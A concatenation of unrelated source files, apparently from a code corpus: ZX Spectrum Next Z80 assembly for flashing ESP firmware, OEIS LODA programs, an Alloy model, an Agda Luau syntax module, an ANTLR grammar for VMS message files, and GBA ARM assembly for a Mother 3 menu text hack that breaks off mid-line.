Err.FlashStart) FlashLoop: PrintMsg(Msg.Upload3) ; "Writing at 0x" ld hl, (BlockHeaderStart) ld e, (hl) inc hl ld d, (hl) ld (BlockDataLen), de ; Compressed block size (DataLen) inc hl ld de, Progress ; "00000000 (3%) " etc push de ld bc, 15 ldir pop hl call PrintRst16 ; Print address and percentage PrintMsg(Msg.UploadLeft) ; Print left 15 chars ; print('\rWriting at 0x%08x... (%d %%)' % (address + seq * esp.FLASH_WRITE_SIZE, ; 100 * (seq + 1) // blocks), end='') ; block = image[0:esp.FLASH_WRITE_SIZE] ; esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio) ; ratio = 2.3 (maybe 7 frames?) ; image = image[esp.FLASH_WRITE_SIZE:] ; seq += 1 ; written += len(block) ; esp.flash_defl_block(block, seq, timeout=DEFAULT_TIMEOUT * ratio) ; self.ESP_FLASH_DEFL_DATA, struct.pack('<IIII', len(data), seq, 0, 0) + data, ; self.checksum(data), timeout=timeout) - line 632 ld hl, $C000 ; Load 16K of compressed firmware data ld bc, $4000 ; into the buffer at $C000 call esxDOS.fRead ErrorIfCarry(Err.ReadFW) BlockDataLen equ $+1: ld bc, SMC ; bc = compressed block size (DataLen) BlockSeqNo equ $+1: ld de, SMC ; de = Seq number (Seq) SetReadTimeout(500) ESPSendDataBlockSeq(ESP_FLASH_DEFL_DATA, $C000, Err.FlashUp) RestoreReadTimeout() //call Wait100Frames ; Pause to allow decompression ld hl, (BlockHeaderStart) ld de, (HeaderBlockSize) add hl, de ; Move block header pointer to next block ld (BlockHeaderStart), hl ld hl, (BlockSeqNo) ; Increase and save block sequence no inc hl ld (BlockSeqNo), hl ld hl, (BlockCount) dec hl ; Decrease and save block count ld (BlockCount), hl ld a, h or l jp nz, FlashLoop ; If more blocks remain, upload again xor a ld (CRbeforeErr), a PrintMsg(Msg.Written1) ; "Wrote " ld hl, FWCompLenStr call PrintRst16 ; Print compressed size in decimal PrintMsg(Msg.Written2) ; " bytes to flash " ; Ask ESP uploader stub to calculate the MD5 hash of the 1MB of data we just uploaded, ; after the stub has decompressed it. It will return it in a SLIP response, after a ; delay. Because we know the size and location, we can increase the timeout and ; skip the validation, then verify the MD5 hash directly from the read buffer. ; ; res = esp.flash_md5sum(address, uncsize) ; res = esp.flash_md5sum(0, 0x00100000) ; self.ESP_SPI_FLASH_MD5, struct.pack('<IIII', addr, size, 0, 0) SetReadTimeout(255) DisableReadValidate() ESPSendCmdWithData(ESP_SPI_FLASH_MD5, SLIP.Md5Block, SLIP.Md5BlockLen, Err.BadMd5) EnableReadValidate() RestoreReadTimeout() ; Compare the 32 returned bytes in the buffer against the precalculated MD5 hash ; we read from the firmware extended header. ld hl, Buffer+9 ; Received hash start address, in buffer. ld de, GotMD5 ; A safe place, so we can print later. ld b, 16 MD5Loop: ld a, (hl) call SlipUnescape ; Unescape $DB $DC to $C0, unescape $DB $DD to $DB ld (de), a ; Copy the unescaped byte to safe place inc hl ; Increase source buffer pointer inc de ; and destination pointer. djnz MD5Loop ; After loop, exactly 16 unescaped bytes were copied ld hl, GotMD5 ; Received hash start address, in safe place. ld de, FWMD5 ; Precalculated hash start address, in vars. ld b, 16 ; Size of hash, MD5 is always 16 bytes (not hex string) HashVerifyLoop: ld a, (de) cp (hl) inc hl ; 16bit inc doesn't affect flags inc de jr nz, HashNotVerified djnz HashVerifyLoop ; Repeat for all 16 bytes of MDS hash jr HashVerified HashNotVerified: PrintMsg(Msg.HashExp) ; "Expecting hash:" PrintBufferHex(FWMD5, 16) PrintMsg(Msg.HashGot) ; "Actual hash:" PrintBufferHex(GotMD5, 16) PrintMsg(Msg.EOL) ErrorAlways(Err.BadMd5) ; If any byte differs, raise "MD5 hash failure" error. HashVerified: PrintMsg(Msg.GoodMd5) ; "Hash of data verified" ; Send an ESP_FLASH_BEGIN command to begin the final sequence. esptool.py says: ; # skip sending flash_finish to ROM loader here, ; # as it causes the loader to exit and run user code ; esp.flash_begin(0, 0) ; struct.pack('<IIII', erase_size, num_blocks, self.FLASH_WRITE_SIZE, offset) ; erase_size = 0 ; num_blocks = 0 ; FLASH_WRITE_SIZE = 0x4000 (already set when we read the extended firmware header) ; offset = 0 PrintMsg(Msg.Finalize) ; "Finalising...", esptool.py prints "Leaving..." here ESPSendCmdWithData(ESP_FLASH_BEGIN, SLIP.FinalizeBlock, SLIP.FinalizeBlockLen, Err.Finalize) ; Send an ESP_FLASH_DEFL_END command to exit the flash write ; esp.flash_defl_finish(False) ; pkt = struct.pack('<I', int(not reboot)) = 0x00000001 ; self.check_command("leave compressed flash mode", self.ESP_FLASH_DEFL_END, pkt) ESPSendCmdWithData(ESP_FLASH_DEFL_END, SLIP.ExitBlock, SLIP.ExitBlockLen, Err.ExitWrite) PrintMsg(Msg.ResetESP) ; "Resetting ESP..." call ResetESP call Wait80Frames SetReadTimeout(255) call ESPReadIntoBuffer call ESPReadIntoBuffer RestoreReadTimeout() PrintMsg(Msg.Success) ; "ESP updated successfully!" EndOfCommand: if (ErrDebug) ; This is a temporary testing point that indicates we have have reached ; The "success" point, and does a red/blue border effect instead of ; actually exiting cleanly to BASIC. Freeze(1,2) else ; This is the official "success" exit point of the program which restores ; all the settings and exits to BASIC cleanly. jp Return.ToBasic endif include "constants.asm" ; Global constants include "macros.asm" ; Zeus macros include "general.asm" ; General routines include "esp.asm" ; ESP and SLIP routines include "esxDOS.asm" ; ESXDOS routines include "print.asm" ; Messaging and error routines include "vars.asm" ; Global variables ; Everything after this is padded to the next 8K ; but assembles at $8000 include "stub.asm" ; ESP upload stub and input buffer db $55, $AA, $55 ; Magic bytes to check we included the correct amount of data UpperCodeLen equ $-UpperCodeStart Length equ $-Start-$4000 ; This adjust for the displacement of the upper code bank zeusprinthex "Lower code: ", LowerCodeStart, LowerCodeLen zeusprinthex "Upper code: ", UpperCodeStart, UpperCodeLen zeusprinthex "Cmd size: ", Length zeusassert zeusver<=75, "Upgrade to Zeus v4.00 (TEST ONLY) or above, available at http://www.desdes.com/products/oldfiles/zeustest.exe" if (LowerCodeLen > $2000) zeuserror "DOT command (lower code) is too large to assemble!" endif if (UpperCodeLen > $4000) zeuserror "DOT command (upper code) is too large to assemble!" endif output_bin "..\\..\\dot\\ESPUPDATE", Start, Length ; Binary for project, and for CSpect image. BuildArgs = ""; if enabled CSpect BuildArgs = BuildArgs + "-c " endif if enabled RealESP BuildArgs = BuildArgs + "-e " endif if enabled AppendFW BuildArgs = BuildArgs + "-a " endif zeusinvoke "..\\..\\build\\builddot.bat " + BuildArgs, "", false ; Run batch file with args
programs/oeis/228/A228305.asm
neoneye/loda
22
244066
; A228305: a(1) = 3; for n >= 1, a(2*n) = 2^(n+1), a(2*n+1) = 5*2^(n-1). ; 3,4,5,8,10,16,20,32,40,64,80,128,160,256,320,512,640,1024,1280,2048,2560,4096,5120,8192,10240,16384,20480,32768,40960,65536,81920,131072,163840,262144,327680,524288,655360,1048576,1310720,2097152,2621440,4194304,5242880 mov $2,$0 gcd $2,2 lpb $0 sub $0,1 trn $0,1 add $3,$2 mov $2,$3 add $2,3 lpe add $0,$3 add $0,3
alloy4fun_models/trashltl/models/8/rC6kqc9bG3JC6Y8fE.als
Kaixi26/org.alloytools.alloy
0
4681
<reponame>Kaixi26/org.alloytools.alloy open main pred idrC6kqc9bG3JC6Y8fE_prop9 { always all p: Protected | always p not in Trash } pred __repair { idrC6kqc9bG3JC6Y8fE_prop9 } check __repair { idrC6kqc9bG3JC6Y8fE_prop9 <=> prop9o }
prototyping/Luau/Syntax.agda
FreakingBarbarians/luau
1
15692
module Luau.Syntax where open import Luau.Var using (Var) open import Luau.Addr using (Addr) infixr 5 _∙_ data Block : Set data Stat : Set data Expr : Set data Block where _∙_ : Stat → Block → Block done : Block data Stat where function_⟨_⟩_end : Var → Var → Block → Stat local_←_ : Var → Expr → Stat return : Expr → Stat data Expr where nil : Expr var : Var → Expr addr : Addr → Expr _$_ : Expr → Expr → Expr function⟨_⟩_end : Var → Block → Expr block_is_end : Var → Block → Expr
oeis/001/A001535.asm
neoneye/loda-programs
11
169516
<gh_stars>10-100 ; A001535: (10n+1)(10n+9). ; 9,209,609,1209,2009,3009,4209,5609,7209,9009,11009,13209,15609,18209,21009,24009,27209,30609,34209,38009,42009,46209,50609,55209,60009,65009,70209,75609,81209,87009,93009,99209,105609,112209,119009,126009,133209,140609,148209,156009,164009,172209,180609,189209,198009,207009,216209,225609,235209,245009,255009,265209,275609,286209,297009,308009,319209,330609,342209,354009,366009,378209,390609,403209,416009,429009,442209,455609,469209,483009,497009,511209,525609,540209,555009,570009,585209,600609 add $0,1 bin $0,2 mul $0,200 add $0,9
src/msg/msg.g4
GitMensch/vms-ide
5
5034
grammar msg; options { tokenVocab=msgLex; } msgContent: ( title | ident | page | literal | facility | eolMayComment )* EOF; title: WHITESPACE? DOT TITLE WHITESPACE titleName (WHITESPACE titleDescription)? NEWLINE; //no comments, no continuation in TITLE titleName: NAME; titleDescription: (~NEWLINE)*; ident: WHITESPACE? DOT IDENT IDENTSEP IDENTSEP* identValue IDENTSEP* IDENTCOMMENT? IDENT_CLOSE; identValue: IDENTNAME | IDENTSTRING; page: WHITESPACE? DOT PAGE eolMayComment; literal: WHITESPACE? DOT LITERAL sep literalDefinition (sep? COMMA sep? literalDefinition)* eolMayComment; literalDefinition: literalName (sep? ASSIGN sep? literalValue)?; literalName: NAME; literalValue: expression; facility: WHITESPACE? DOT FACILITY sep (facilityQualifier sep?)* facilityDescription sep? (facilityQualifier sep?)* eolMayComment facilityContent* end?; facilityDescription: facilityName sep? (sep | COMMA) sep? facilityNumber; facilityName: NAME; facilityNumber: expression; facilityContent: severity | page | base | literal | message | eolMayComment ; facilityQualifier: prefixQualifier | sharedQualifier | systemQualifier ; prefixQualifier: WHITESPACE? DIV PREFIX sep? ASSIGN sep? prefixQualifierValue; prefixQualifierValue: NAME; sharedQualifier: WHITESPACE? DIV SHARED; systemQualifier: WHITESPACE? DIV SYSTEM; severity: WHITESPACE? DOT SEVERITY sep severityValue eolMayComment; severityValue: SUCCESS | INFORMATIONAL | WARNING | ERROR | SEVERE | FATAL; base: WHITESPACE? DOT BASE sep baseNumber eolMayComment; baseNumber: NUMBER | HEXNUM | OCTNUM | DECNUM ; // the same as number end: WHITESPACE? DOT END eolMayComment; expression : P_OPEN WHITESPACE? expression WHITESPACE? P_CLOS | expression WHITESPACE? (SHIFT) WHITESPACE? expression | expression WHITESPACE? (MUL|DIV) WHITESPACE? expression | expression WHITESPACE? (ADD|SUB) WHITESPACE? expression | (ADD|SUB)? WHITESPACE? (number | expressionVariable) ; expressionVariable: NAME; number: NUMBER | HEXNUM | OCTNUM | DECNUM ; sep: (WHITESPACE | continuation+) WHITESPACE? ; continuation: WHITESPACE? SUB eolMayComment; eolMayComment: WHITESPACE? (EXCL (~NEWLINE)*)? NEWLINE; message: WHITESPACE? messageName sep (messageQualifier sep?)* messageText sep? (messageQualifier sep?)* eolMayComment; messageName: NAME; messageQualifier: faoCount | identification | userValue | severityQualifier; severityQualifier: success | informational | warning | error | severe | fatal; faoCount: WHITESPACE? DIV FAOCOUNT sep? ASSIGN sep? faoCountValue; faoCountValue: NUMBER; identification: WHITESPACE? DIV IDENTIFICATION sep? ASSIGN sep? identificationValue; identificationValue: NAME; userValue: WHITESPACE? DIV USERVALUE sep? ASSIGN sep? userValueValue; userValueValue: NUMBER; success: WHITESPACE? DIV SUCCESS; informational: WHITESPACE? DIV INFORMATIONAL; warning: WHITESPACE? DIV WARNING; error: WHITESPACE? DIV ERROR; severe: WHITESPACE? DIV SEVERE; fatal: WHITESPACE? DIV FATAL; messageText: BSTRING_OPEN (BFAO | BTEXT)*? BSTRING_CLOSE | QSTRING_OPEN (QFAO | QTEXT)*? QSTRING_CLOSE | ASTRING_OPEN (AFAO | ATEXT)*? ASTRING_CLOSE ;
Userland/SampleCodeModule/asm/libasm.asm
Reversive/taur-os
4
5680
<reponame>Reversive/taur-os GLOBAL _syscall GLOBAL invalid_opcode_test _syscall: push rbp mov rbp, rsp int 0x80 mov rsp, rbp pop rbp ret invalid_opcode_test: push rbp mov rbp, rsp mov rbx, 0x20 mov cr6, rax mov rsp, rbp pop rbp ret
main_menu_hacks.asm
BetaDream-X/Mother3German
11
246173
main_menu_hacks: //============================================================================================= // This set of hacks makes the game load and display long strings on main menu stuff correctly. //============================================================================================= .write_item_text: push {r0-r1,lr} // custom jeff code ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#6 bne + pop {r0} str r0,[sp,#0xC] // clobbered code ldr r0,[r4,#0x0] pop {r1,pc} // + mov r1,#0x58 // # of max letters per item * 4, since each letter has 4 bytes for some reason cmp r0,#0x10 //If we're in the loading/saving menu, give some extra space bne + mov r1,#1 lsl r1,r1,#8 //This needs to print an actual string, not an item + ldr r0,=#0x2013070 // starting address of our item names in RAM mul r1,r6 // r6 has the current item counter, which is nice and convenient for us add r0,r0,r1 // r2 now has the proper spot in RAM for the item pop {r1} // get the address the game would write to normally str r0,[r1,#0x0] // r0 leaves with the new address in RAM for longer names yay str r0,[sp,#0xC] // clobbered code ldr r0,[r4,#0x0] pop {r1,pc} //============================================================================================= .write_item_eos: push {lr} // custom jeff code ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#6 beq .write_item_eos_memoes ldr r1,=#0x2013070 mov r2,#0x58 cmp r0,#0x10 bne + mov r2,#1 lsl r2,r2,#8 + mov r0,r10 sub r0,#1 mul r0,r2 add r1,r0,r1 lsl r6,r6,#2 add r1,r1,r6 mov r0,#1 neg r0,r0 str r0,[r1,#0] b .write_item_eos_end .write_item_eos_memoes: ldr r0,[sp,#8] mov r1,#1 neg r1,r1 str r1,[r0,#0] .write_item_eos_end: mov r1,r10 // clobbered code lsl r0,r1,#0x10 pop {pc} //============================================================================================= .clear_data: push {r2-r3,lr} // custom jeff code ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#6 beq + // mov r0,#0 push {r0} mov r0,sp ldr r1,=#0x2013060 ldr r2,=#0x8EE mov r3,#1 lsl r3,r3,#24 orr r2,r3 // set the 24th bit of r2 so it'll know to fill instead of copy swi #0x0B // clear old data out add sp,#4 + mov r0,#0xD8 // I assume this is clobbered code? lsl r0,r0,#0x7 pop {r2-r3,pc} //============================================================================================= .find_str: push {lr} ldr r2,[sp,#4+0x2C] ldrb r1,[r2,#0x4] // swap_address_set mov r0,#2 cmp r1,#1 beq .find_str_end mov r3,#0xAA lsl r3,r3,#3 add r3,r4,r3 // last possible address - ldr r0,[r6,#0x0] // load the real next value lsl r0,r0,#0x14 cmp r0,#0 bne .find_str_found add r6,#4 cmp r6,r3 bcs .find_str_not_found b - .find_str_found: ldr r1,[sp,#4+0x20] cmp r1,#6 beq + // if this is the memo menu, we don't swap around, still save we're mid-printing str r6,[r2,#0] // save swap_address ldr r6,[r6,#0] // new address + mov r1,#1 strb r1,[r2,#4] // swap_address_set = true mov r0,#1 .find_str_end: pop {pc} .find_str_not_found: mov r0,#0 // not found any string, signal this and reset everything sub r2,#0x20 str r0,[r2,#0] // set these to 0, we're done printing b .find_str_end //============================================================================================= .exit_str: push {lr} ldr r2,[sp,#4+0x2C] ldr r1,[sp,#4+0x20] cmp r1,#6 beq + ldrb r1,[r2,#0x4] // swap_address_set cmp r1,#1 bne + ldr r6,[r2,#0] // load swap_address if not in the memos menu and it's set + mov r1,#0 strb r1,[r2,#4] // swap_address_set = false pop {pc} //============================================================================================= // Allocates the tiles buffer for the given input in the stack .alloc_tiles_buffer: push {r0-r6,lr} ldr r4,[sp,#0x20+4] // current buffer address ldr r5,[sp,#0x20+0x10] // curr_X ldr r6,[sp,#0x20+0xC] // Y ldr r0,[sp,#0x20+0x18] // Special arrangement loading? cmp r0,#0 beq + lsr r0,r5,#3 bl .new_get_address b .alloc_tiles_buffer_got_vram_addr + lsr r0,r5,#3 asr r1,r6,#3 bl $80498B0 // VRAM address .alloc_tiles_buffer_got_vram_addr: str r0,[r4,#0] lsr r0,r5,#3 asr r1,r6,#3 bl $80498C4 // Arrangement address str r0,[r4,#4] ldr r1,=#0x6008000 ldr r2,[r4,#0] sub r2,r2,r1 // Get how many tiles this is from the start of VRAM mov r1,#0x40 add r1,r0,r1 // Position of bottom arrangements lsr r2,r2,#5 // Top arrangements mov r3,#0x20 add r3,r2,r3 // Bottom arrangements strh r2,[r0,#0] // Set the buffer arrangements strh r3,[r1,#0] add r2,#1 add r3,#1 strh r2,[r0,#2] // Set the buffer arrangements strh r3,[r1,#2] add r2,#1 add r3,#1 strh r2,[r0,#4] // Set the buffer arrangements strh r3,[r1,#4] // Time to prepare the actual buffers ldr r0,[sp,#0x20+0x14] // Is this the first? cmp r0,#0 beq + ldr r0,=#0x2013040 mov r1,r4 add r1,#8 ldr r2,[r0,#8] str r2,[r1,#0] ldr r2,[r0,#0xC] str r2,[r1,#4] ldr r2,[r0,#0x10] str r2,[r1,#8] // Restore the old top tile buffer we saved here add r1,#0x60 ldr r2,[r0,#0x14] str r2,[r1,#0] ldr r2,[r0,#0x18] str r2,[r1,#4] ldr r2,[r0,#0x1C] str r2,[r1,#8] // Restore the old bottom tile buffer we saved here mov r0,#0 push {r0} mov r0,sp mov r1,#0x28 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x20 orr r2,r3 swi #0xB // Set the other 2 top tiles of the buffer mov r0,sp mov r1,#0x88 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x20 orr r2,r3 swi #0xB // Set the other 2 bottom tiles of the buffer pop {r0} b .alloc_tiles_buffer_end + mov r0,#0 push {r0} mov r0,sp mov r1,#8 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x30 orr r2,r3 swi #0xB // Set the 3 top tiles of the buffer mov r0,sp mov r1,#0x68 add r1,r4,r1 mov r3,#1 lsl r3,r3,#0x18 mov r2,#0x30 orr r2,r3 swi #0xB // Set the 3 bottom tiles of the buffer pop {r0} .alloc_tiles_buffer_end: ldr r0,[sp,#0x20+0] // max_buffers sub r0,#1 str r0,[sp,#0x20+0] ldr r0,[sp,#0x20+4] mov r1,#0xCC add r0,r0,r1 str r0,[sp,#0x20+4] mov r0,#0 str r0,[sp,#0x20+0x14] // Set this as not the first pop {r0-r6,pc} //============================================================================================= // Initializes the specified number of tiles in the buffer. // It takes in r0 the max amount of buffers to allocate, in r1 the current buffer address, // X in r2 and Y in r3 .alloc_tiles_buffers: push {r4-r7,lr} add sp,#-0x28 str r0,[sp,#0] // max buffers str r1,[sp,#4] // buffer address str r2,[sp,#8] // X str r3,[sp,#0xC] // Y str r2,[sp,#0x10] // curr_X ldr r1,[sp,#0x3C+0x1C] str r1,[sp,#0x14] // save whether to reload the first tile or not ldr r1,[sp,#0x3C+0x34] str r1,[sp,#0x18] // save extra data for special vram printing cmp r1,#0 beq + ldr r1,[sp,#0x3C+0x38] // WARNING! THESE ARE ALMOST AT THE INSTRUCTION'S RANGE LIMIT! str r1,[sp,#0x1C] // save first base address ldr r1,[sp,#0x3C+0x3C] str r1,[sp,#0x20] // save second base address ldr r1,[sp,#0x3C+0x40] str r1,[sp,#0x24] // save switch value + mov r1,#7 and r2,r1 sub r4,r6,#4 // save str to r4 mov r5,#0 // tile_was_printed mov r3,#1 neg r3,r3 // EOS ldr r7,[sp,#0x3C+0x30] - add r4,#4 ldr r0,[r4,#0x0] // load the real next value cmp r0,r3 // go to the end if it's EOS beq .alloc_tiles_buffers_end lsl r0,r0,#0x14 lsr r0,r0,#0x14 // load the actual value add r0,r7,r0 ldrb r0,[r0,#0] // get the character's length add r2,r2,r0 // increase the length cmp r5,#0 bne + mov r5,#1 // set tile_was_printed bl .alloc_tiles_buffer // alloc the buffer ldr r0,[sp,#0] cmp r0,#0 ble .alloc_tiles_buffers_end + cmp r2,#0x18 blt - ldr r0,[sp,#0x10] .alloc_tiles_buffers_subtract_width: sub r2,#0x18 add r0,#0x18 cmp r2,#0 beq + str r0,[sp,#0x10] bl .alloc_tiles_buffer ldr r1,[sp,#0] cmp r1,#0 ble .alloc_tiles_buffers_end cmp r2,#0x18 bge .alloc_tiles_buffers_subtract_width b - + str r0,[sp,#0x10] mov r5,#0 // unset tile_was_printed b - .alloc_tiles_buffers_end: ldr r0,[sp,#0] // free buffers add sp,#0x28 pop {r4-r7,pc} //============================================================================================= .check_special_bit: push {r2,lr} // why are you pushing r2? :P strh r1,[r6,#2] // original code ldr r0,[r4,#0] // custom jeff code // maybe this is why :O ldr r2,=#0x201A288 ldrb r2,[r2,#0] cmp r2,#6 beq + // ldr r0,[r0,#0] // load the first letter data of the real text in + pop {r2,pc} //============================================================================================= .store_total_strings: // custom jeff code ldr r2,=#0x2013040 strb r0,[r2,#2] // store the strings total add r3,sp,#0xC mov r8,r3 bx lr //============================================================================================= // 2013040 halfword total # of letters // 2013041 ... // 2013042 byte total # of passes that will be needed // 2013043 byte current pass # // this routine initializes most of this stuff .reset_processed_strings: push {lr} // custom jeff code ldr r4,=#0x2013040 // custom area of RAM for this is here mov r2,#0 strb r2,[r4,#3] // total # of strings processed = 0 pop {pc} //============================================================================================= .load_remaining_strings: // custom jeff code ldr r0,[sp,#0x28] ldrb r1,[r0,#2] // get the strings # ldrb r0,[r0,#3] // get the currently processed strings sub r1,r1,r0 bx lr //============================================================================================= .load_remaining_strings_external: // custom jeff code ldr r0,=#0x2013040 ldrb r1,[r0,#2] // get the strings # ldrb r0,[r0,#3] // get the currently processed strings sub r1,r1,r0 bx lr //============================================================================================= .decrement_remaining_strings: // custom jeff code ldr r0,[sp,#0x28] ldrb r1,[r0,#2] // get the strings # ldrb r2,[r0,#3] // get the currently processed strings add r2,#1 strb r2,[r0,#3] // increase them by 1 sub r1,r1,r2 bx lr //============================================================================================= .group_add_check: push {r2-r3} // custom jeff code mov r0,#0 // this will be the final default result ldr r2,=#0x2013040 // address of start of counter area ldrb r1,[r2,#3] // load the current string # ldrb r3,[r2,#2] // load the total # of strings cmp r1,r3 // is curr_str >= total_str?, if so, set r0 to 4 to signal the end blt + // if it's <= total_str, skip this extra stuff mov r0,#4 // this will be r0 at the end, it signals the code that items are done mov r1,#0 // set the strings # back to 0 strh r1,[r2,#2] // set the total length back to 0 so the game won't freak out + mov r1,#7 // clobbered code pop {r2-r3} bx lr //============================================================================================ // This routine converts the VRAM entries from 1bpp to 4bpp. // We want to go VERY FAST. //============================================================================================ .convert_1bpp_4bpp: push {r2,r4-r6,lr} cmp r1,#0 beq .convert_1bpp_4bpp_end ldr r6,=#0x8CDF9F8 mov r2,#0xAA lsl r2,r2,#3 add r5,r2,r4 add r5,#8 // Starting tiles mov r4,r1 .convert_1bpp_4bpp_loop_start: ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#3 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_bottom: add r5,#0x60 ldrb r0,[r5,#8] cmp r0,#0 beq + mov r0,#3 bl convert_1bpp_4bpp_tiles + .convert_1bpp_4bpp_loop_end: sub r4,#1 // One entry is done cmp r4,#0 ble .convert_1bpp_4bpp_end add r5,#0x6C b .convert_1bpp_4bpp_loop_start .convert_1bpp_4bpp_end: pop {r2,r4-r6,pc} //============================================================================================= // THIS CODE AND THE ONE IN text_weld INSIDE sprite_text_hacks ARE BASICALLY THE SAME! // THEY'RE SEPARATED IN ORDER TO MAXIMIZE PERFORMANCES, BUT IF A BUG IS IN ONE OF THEM, // IT'S PROBABLY IN THE OTHER ONE AS WELL //Writes a Glyph stored in r0 to the buffer in r1. r2 is the X and r3 is the letter's info .write_Glyph_1bpp: push {r4-r7,lr} // This is an efficient version of the printing routine mov r5,r1 mov r6,r1 add r6,#0x20 mov r4,r0 mov r7,r2 lsl r2,r3,#0x10 lsr r2,r2,#0x1C mov r0,#1 strb r0,[r5,#8] // This tile is used strb r2,[r5,#9] // Store the palette ldr r3,[sp,#0x14+0x20] // The current letter's width cmp r7,#8 blt + mov r5,r6 add r6,#0x20 cmp r7,#0x10 blt + sub r7,#0x10 mov r5,r6 mov r0,#0x8C add r6,r6,r0 add r0,r7,r3 // Does this cross to the other tile? cmp r0,#8 blt + mov r0,#1 strb r0,[r6,#8] // This tile is used strb r2,[r6,#9] // Store the palette + add r2,r3,#7 // If this isn't a multiple of 8, it will go over a multiple of 8 now lsr r2,r2,#3 // Get total tiles number cmp r2,#2 blt + mov r2,#2 // Prevent bad stuff + //--------------------------------------------------------------------------------------------- mov r0,r8 push {r0} mov r8,r2 mov r2,#0xFF // If we had access to the stack, using a precompiled mov r0,#7 and r0,r7 lsr r2,r0 // array would be faster... Probably lsl r0,r2,#8 orr r2,r0 lsl r0,r2,#0x10 orr r2,r0 .loop_start: push {r3,r7} mov r0,#7 // Only consider part of the tile and r7,r0 ldr r3,[r4,#0] // Load the first 4 rows mov r1,r3 lsr r3,r7 // Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r3,r2 // Left side mvn r2,r2 // Get the inverted version and r1,r2 // Right side // TOP FOUR - LEFT ldr r0,[r5,#0] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#0] // and now store it back // TOP FOUR - RIGHT str r1,[r6,#0] // and now store it back // Now we do the bottom four! ldr r3,[r4,#4] // Load the last 4 rows mov r1,r3 lsr r3,r7 // Shift them by curr_x mov r0,#8 sub r0,r0,r7 lsl r1,r0 and r1,r2 // Right side mvn r2,r2 // Get the inverted version and r3,r2 // Left side // BOTTOM FOUR - LEFT ldr r0,[r5,#4] // load what's in the current row orr r0,r3 // OR them together str r0,[r5,#4] // and now store it back // BOTTOM FOUR - RIGHT str r1,[r6,#4] // and now store it back pop {r3,r7} mov r0,r8 // increment counter cmp r0,#1 // see if we're still under the # of tiles we need to process ble .routine_end sub r0,#1 mov r8,r0 add r7,#8 mov r0,r5 mov r5,r6 add r6,#0x20 cmp r7,#0x10 blt + add r6,#0x6C sub r3,#8 add r1,r7,r3 cmp r1,#8 blt + sub r0,#0x20 ldrb r1,[r0,#9] // Grab the colour mov r0,#1 strb r0,[r6,#8] // This tile is used strb r1,[r6,#9] // Store the palette + add r4,#8 b .loop_start //--------------------------------------------------------------------------------------------- .routine_end: pop {r0} mov r8,r0 pop {r4-r7,pc} //============================================================================================= //Prints a letter in one of the buffers. r0 is the letter, r1 is the buffer, r2 is the X .print_letter: push {r4-r7,lr} add sp,#-0x24 mov r7,r0 lsl r3,r7,#0x14 // load the current letter's width lsr r3,r3,#0x14 ldr r0,[sp,#0x38+0x30] add r0,r0,r3 ldrb r3,[r0,#0] // r3 = letter's width str r3,[sp,#0x20] // the current letter's width mov r4,r2 mov r6,r1 bl .fast_prepare_main_font // load the letter in the stack mov r5,r0 cmp r5,#0 // is there something to print at all? beq .print_letter_end sub r5,#1 cmp r5,#1 // is there something to print at the top? beq + mov r0,sp mov r1,r6 add r1,#8 mov r2,r4 mov r3,r7 bl .write_Glyph_1bpp + cmp r5,#0 // is there something to print at the bottom? beq .print_letter_end add r0,sp,#0x10 mov r1,r6 add r1,#0x68 mov r2,r4 mov r3,r7 bl .write_Glyph_1bpp .print_letter_end: ldr r0,[sp,#0x20] add sp,#0x24 pop {r4-r7,pc} //============================================================================================= //Checks wheter the next letter will overflow the allocated number of buffers //r0 current letter, r1 number of still not fully used buffers, r2 curr_X in the current "Three tile" .check_if_overflow: push {r4,lr} mov r4,r1 lsl r3,r0,#0x14 // load the current letter's width lsr r3,r3,#0x14 ldr r0,[sp,#8+0x30] add r0,r0,r3 ldrb r3,[r0,#0] // r3 = letter's width add r0,r2,r3 add r0,#0x17 // Check for crossing the line mov r1,#0x18 swi #6 // Divide by 0x18 sub r2,r4,r0 // Free buffers after this mov r0,#0 cmp r2,#0 // Are there any free buffers left? bge + mov r0,#1 // Signal overflow + pop {r4,pc} //============================================================================================ // This section of code stores the letter from the font's data to the stack. // Main font version. Returns if there is data to print or not. // r0 is the letter. r1 is the stack pointer //============================================================================================ .fast_prepare_main_font: ldr r2,=#{main_font} // we already know we're loading main font lsl r0,r7,#0x14 lsr r0,r0,#0x14 lsl r0,r0,#5 add r0,r2,r0 // get the address mov r5,r0 mov r1,sp mov r2,#8 swi #0xB // CpuSet for 0x10 bytes mov r0,r5 add r0,#0x10 add r1,sp,#0x10 mov r2,#8 swi #0xB // CpuSet for 0x10 bytes ldr r0,=#{main_font_usage} lsl r1,r7,#0x14 lsr r1,r1,#0x14 add r0,r0,r1 ldrb r0,[r0,#0] // Load tile usage for the letter bx lr //============================================================================================ // This section of code stores the last tile in a buffer, so it can be reloaded // later when doing the rest of the strings. // r1 is the number of used triple tiles buffers. //============================================================================================ .save_next_tile: push {r1} cmp r1,#0 ble .save_next_tile_end ldr r2,[sp,#4+0x2C] ldrb r2,[r2,#4] // Is there a partially incomplete string? cmp r2,#0 beq .save_next_tile_end ldr r2,[sp,#4+0x14] ldr r0,[sp,#4+0x18] sub r2,r2,r0 // Get the currently not fully used buffers sub r1,r1,r2 // Get the proper buffer the last tile is in mov r0,#0xCC mul r1,r0 ldr r2,[sp,#4+0x24] // Load the X and Y coords ldrh r2,[r2,#8] // Final X ldr r0,[sp,#4+8] // Last X sub r0,r2,r0 // X in the final triple tile mov r2,#0xAA lsl r2,r2,#3 add r2,r2,r4 // Buffers add r2,r2,r1 // Get into the final buffer add r2,#8 // Enter the actual buffer lsr r3,r0,#3 lsl r3,r3,#3 cmp r0,r3 beq .save_next_tile_end // If it's 8-pixels aligned, it won't use this info lsr r0,r0,#3 lsl r0,r0,#5 // Get where the tile is in the buffer ldr r1,[sp,#4+0x28] // Load where to temp store this data ldr r3,[r2,#8] // Load the colour and whether it's used or not - Top Tile str r3,[r1,#0x10] add r0,r2,r0 // Get 